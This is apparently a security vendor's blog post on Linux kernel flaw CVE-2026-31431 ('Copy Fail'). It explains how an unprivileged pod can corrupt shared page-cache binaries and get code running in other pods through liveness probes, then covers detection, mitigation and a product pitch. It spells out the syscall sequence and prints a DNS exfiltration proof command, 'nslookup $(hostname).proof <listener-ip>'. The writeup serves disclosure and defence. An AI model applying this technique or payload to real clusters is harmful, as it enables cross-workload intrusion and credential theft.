May 4, 2026
min

CVE-2026-31431: how Copy Fail behaves in Kubernetes

A critical Linux kernel vulnerability (CVE-2026-31431, "Copy Fail") allows an unprivileged process to corrupt any file's in-memory copy without writing to disk. In Kubernetes, this means an attacker in one pod can inject malicious code into binaries used by other pods on the same node - without any special permissions, without container escape, and without leaving a trace on the filesystem. We validated this on a live EKS cluster and built runtime detection for it.
Petr Zuzanov
Principal Security Researcher
No items found.
No items found.

TL;DR

A critical Linux kernel vulnerability (CVE-2026-31431, "Copy Fail") allows an unprivileged process to corrupt any file's in-memory copy without writing to disk. In Kubernetes, this means an attacker in one pod can inject malicious code into binaries used by other pods on the same node - without any special permissions, without container escape, and without leaving a trace on the filesystem. We validated this on a live EKS cluster and built runtime detection for it.

The Vulnerability in 30 Seconds

CVE-2026-31431 is a logic flaw in the Linux kernel's cryptographic subsystem (AF_ALG) that has existed since 2017. The bug allows any unprivileged user to:

  1. Open a file for reading only
  2. Use a crypto socket to corrupt that file's in-memory copy (page cache)
  3. The next process that runs that file executes the attacker's code

No special permissions are needed. No root. No capabilities. The exploit script is 732 bytes of Python; the injected shellcode payload is 233 bytes.

For a deep technical dive into the vulnerability mechanics, we recommend the original research by xint.io.

In this article, we focus on what makes this vulnerability uniquely dangerous in Kubernetes.

A Different Threat in Kubernetes

On a standalone Linux server, CVE-2026-31431 is a local privilege escalation - an attacker gains root on that machine. In Kubernetes, the same vulnerability manifests differently: instead of privilege escalation, it enables cross-container lateral movement - code execution across pod boundaries without escaping to the host.

Neither is inherently worse than the other. They are different classes of threat. But the Kubernetes variant requires a different mental model to understand, because it exploits how container images share resources under the hood.

To understand why, we need to explain how container images work.

How Container Images Are Built: Layers

A container image is not a single file. It's a stack of layers, where each layer adds changes on top of the previous one - think of it like a layered cake.

The base layer contains the operating system: system binaries like /usr/bin/cat, /usr/bin/bash, shared libraries like libc.so.6, and other fundamental tools.

Here's the critical detail: when multiple images share the same base layer, Kubernetes stores it only once on the node. This is by design - it saves disk space and speeds up image pulls.

How Layers Are Shared on a Node

When containers run on the same Kubernetes node, the container runtime (containerd) uses a filesystem called overlayfs to assemble each container's view of the filesystem:

image-20260503-135940.png
Three pods, three filesystems - but the green base layer is one physical copy of ubuntu:24.04 mounted into all of them

Each container sees its own isolated filesystem. But under the hood, the base layer files are the same physical data on disk - and more importantly, the same in-memory copy in the Linux page cache.

The Page Cache: Where the Attack Happens

When the kernel reads a file from disk, it keeps a copy in memory called the page cache. This speeds up future reads - the kernel can serve the file from memory instead of hitting the disk again.

The page cache is a node-wide, shared resource. It is not isolated per container. If two containers read /usr/bin/cat from the same base layer, they read from the same page cache entry.

This is where CVE-2026-31431 strikes:

image-20260503-140039.png
The attacker corrupts /usr/bin/cat in the kernel page cache. Bystander pods then run that corrupted binary via their liveness probes - including the cluster-admin pod. Disk is never written.

The attacker never "escapes" their container. They never need root, capabilities, or any special permissions. They simply corrupt a shared in-memory file, and wait for another container to use it.

What We Tested

We validated this attack end-to-end on a live Amazon EKS cluster (Kubernetes 1.35, kernel 6.12.77, Amazon Linux 2023).

The Attack demo

From POD A (unprivileged, no service account), we ran the exploit targeting /usr/bin/cat.

The exploit took approximately 2 seconds. It wrote a 233-byte shellcode payload into /usr/bin/cat's page cache in 58 iterations. The payload is a minimal ELF binary that, when executed, runs nslookup $(hostname).proof <listener-ip> - sending the victim pod's hostname to our DNS listener as proof of code execution.

PODs B and C - both equipped by internal health check jobs cat /tmp/healthcheck which means they periodically trigger execution of cat binary on purpose.

The Result

Within 10 seconds - the liveness probe interval - both Pod B and Pod C executed the corrupted cat. Instead of reading the health check file, the shellcode ran and sent a DNS query to our listener, proving code execution:

Both pod hostnames appeared on our DNS listener. No human interaction was required - Kubernetes itself triggered the execution via the liveness probe.

Pod C's code ran with its cluster-admin service account. An attacker could use that identity to read secrets, deploy pods, or take full control of the cluster.

The Attacker's Perspective

The attacker operated blindly throughout. From inside Pod A, they had no visibility into which other pods share the same base image, what privileges those pods have, or what liveness probes are configured. They simply picked a common binary (cat, bash, or a shared library), corrupted it, and waited. They didn't choose their victims - the Kubernetes scheduler, image layer sharing, and probe configuration determined who got hit.

The DNS callback in our test was a deliberate simulation artifact - a minimal payload designed to prove execution without doing real damage. A real threat actor would replace it with whatever serves their objective: a reverse shell, a credential harvester, a Kubernetes API call using the pod's service account token. And critically, they won't know which pods they've hit, or what access those pods carry, until the payload executes and reports back. The attacker plants the trap. Kubernetes springs it.

What About the Node?

The host node was not affected. Its /usr/bin/cat has a different inode (458320 vs 44064224). We verified the host's cat still worked correctly throughout the test.

This holds true even if the node runs the same OS distribution as the containers. A node running Ubuntu and containers based on ubuntu:24.04 may have byte-identical binaries - but they are different files on different filesystems. The node's binaries live on the root filesystem (ext4/xfs on the block device). The container's binaries live on overlayfs layers managed by containerd. The page cache is keyed by (filesystem device, inode number), not by file content - so identical bytes on different filesystems produce separate page cache entries.

This is not a container-to-host escape. It is container-to-container lateral movement via the shared page cache. The blast radius is every pod on the same node that shares the same base image layer.

Who Is Affected

Affected kernels: Linux 4.x through 6.x (the bug was introduced in 2017, disclosed in February 2026, and fixed in kernel 6.13.x - distributions began shipping patches in March 2026).

Kubernetes impact depends on your base image hygiene:

All workloads use the same base image (e.g., ubuntu:24.04) High - any compromised pod can reach any other pod on the same node

Mix of base images but some overlap Medium - blast radius limited to pods sharing layers

Every workload uses a unique distroless/scratch image Low - no shared layers, no shared page cache

Privileged daemonsets share base images with workloads Critical - attacker can reach cluster-admin-level pods

Detection

The exploit uses a distinctive syscall pattern that has essentially zero legitimate use in containers:

  1. socket(AF_ALG) - creates a kernel crypto socket (address family 38)
  2. setsockopt(SOL_ALG) - configures the crypto cipher (socket option level 279)
  3. splice() - transfers file pages into the crypto socket

No web application, monitoring agent, or CI pipeline creates AF_ALG sockets. This is a kernel crypto API used by IPsec daemons and disk encryption - tools that never run inside containers.

Stream Security's runtime agent detects this pattern by monitoring these specific syscalls from container processes. The three events are correlated in our detection pipeline to identify CVE-2026-31431 exploitation with near-zero false positives.

Mitigation

Patch the kernel  - eliminates the vulnerability

Seccomp profile blocking AF_ALG - blocks socket(family=38), zero impact on workloads
Diverse base images - Reduces blast radius - no shared layers means no shared page cache

Distroless/scratch images - no system binaries to corrupt

Key Takeaways

  1. Container isolation has blind spots. The page cache is a shared kernel resource that is not namespaced. Security-sensitive workloads should not share base image layers with untrusted workloads on the same node.
  2. Image layer sharing is a feature and a risk. The same property that makes container images efficient (shared layers) creates a lateral movement path that traditional container security tools don't monitor.
  3. Kubernetes automates the trigger. Liveness and readiness probes - a fundamental K8s feature - become the mechanism that executes the attacker's code. No human interaction needed.
  4. Detection requires kernel-level visibility. File integrity monitoring, network policies, and RBAC cannot detect this attack. You need runtime monitoring that observes syscall patterns in real time.
  5. This is not theoretical. We demonstrated full exploitation on a production-grade EKS cluster in under 10 seconds, from an unprivileged pod with no service account, to code execution in a cluster-admin pod.

Why Stream Security

This is the gap Stream.Security was built for.

When CVE-2026-31431 was disclosed, Stream.Security customers were protected within hours - not because we had a specific signature waiting, but because the platform instruments the right layer to begin with.

Stream.Security's eBPF sensors run in the kernel and capture every syscall from every container process in real time - no agent rebuilds, no configuration changes. When our research team identified the AF_ALG + splice sequence as the exploit signature, a new tracing policy was authored and deployed cluster-wide in minutes, attaching process context and container identity to every matching event.

Those events feed into CloudTwin™, which correlates kernel-level activity with the full runtime picture: container identity, image lineage, service account bindings, and network connections. When socket(AF_ALG) fires from a container that has no business touching the kernel crypto API, the anomaly doesn't surface as a raw syscall alert - it surfaces as a contextualized incident: this container, with this service account, attempting this technique against shared node infrastructure.

StreamMate AI closes the investigation loop: when the alert fires, responders can immediately ask "what else did this container do in the last 30 minutes?" and get a complete behavioral timeline - no query writing, no log pivoting.

This means that when the next CVE drops - whether it abuses AF_ALG, io_uring, or a subsystem that doesn't exist yet - the same workflow applies: define the syscall signature, deploy the tracing policy, write the detection rule. No code changes. No waiting for vendor updates.

That flexibility is the difference between reacting to threats and staying ahead of them.

About Stream Security

Stream Security is an AI Detection & Response (AI DR) company built for the era of AI-driven environments across cloud, on-prem, and SaaS. As AI agents operate with real permissions and attackers move at machine speed, Stream enables security teams to keep pace by continuously computing a real-time, deterministic model of their entire environment. Powered by its CloudTwin® technology, Stream instantly understands the full impact of every action across identities, permissions, networks, and resources, allowing organizations to detect, prioritize, and safely respond to threats before they propagate. This transforms security from reactive detection into a true control plane for modern infrastructure.

Petr Zuzanov
Principal Security Researcher

We wouldn’t believe it either.

Get a demo